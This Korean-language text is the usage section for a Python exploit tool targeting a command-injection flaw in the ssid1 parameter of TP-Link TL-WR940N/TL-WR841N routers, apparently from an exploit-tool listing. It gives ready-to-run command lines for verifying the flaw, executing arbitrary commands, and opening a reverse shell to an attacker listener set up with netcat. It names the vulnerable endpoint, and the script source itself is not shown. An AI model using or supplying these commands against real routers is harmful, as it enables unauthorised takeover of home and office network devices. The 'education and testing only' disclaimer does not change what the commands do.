TP-Link TL-WR940N/TL-WR841N 명령어 주입 취약점을 위한 Python 익스플로잇

사용 방법

1. 기본 취약점 확인:

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin
   

2. 사용자 정의 명령 실행:

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin -c "your_command_here"
   

3. 리버스 셸 (먼저 리스너 설정: nc -lvnp 4444):

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin --lhost YOUR_IP --lport 4444
   

중요 참고 사항:

• 이 스크립트는 교육 및 테스트 목적으로만 사용됩니다.
• 시스템을 테스트하기 전에 항상 적절한 권한을 받으세요.
• 재부팅 명령이 기본값으로 사용되는 것은 비파괴적이며 쉽게 확인할 수 있기 때문입니다.
• 리버스 셸은 사용 가능한 바이너리에 따라 달라지므로 모든 펌웨어 버전에서 작동하지 않을 수 있습니다.
• 일부 펌웨어 버전에서는 URL에 무작위 경로가 필요하며 스크립트가 이를 자동으로 감지하려고 시도합니다.

취약점은 /userRpm/WlanNetworkRpm.htm 엔드포인트의 ssid1 매개변수에 대한 부적절한 입력 검증으로 인해 존재하며, 특별히 조작된 요청을 통해 명령어 주입이 가능합니다.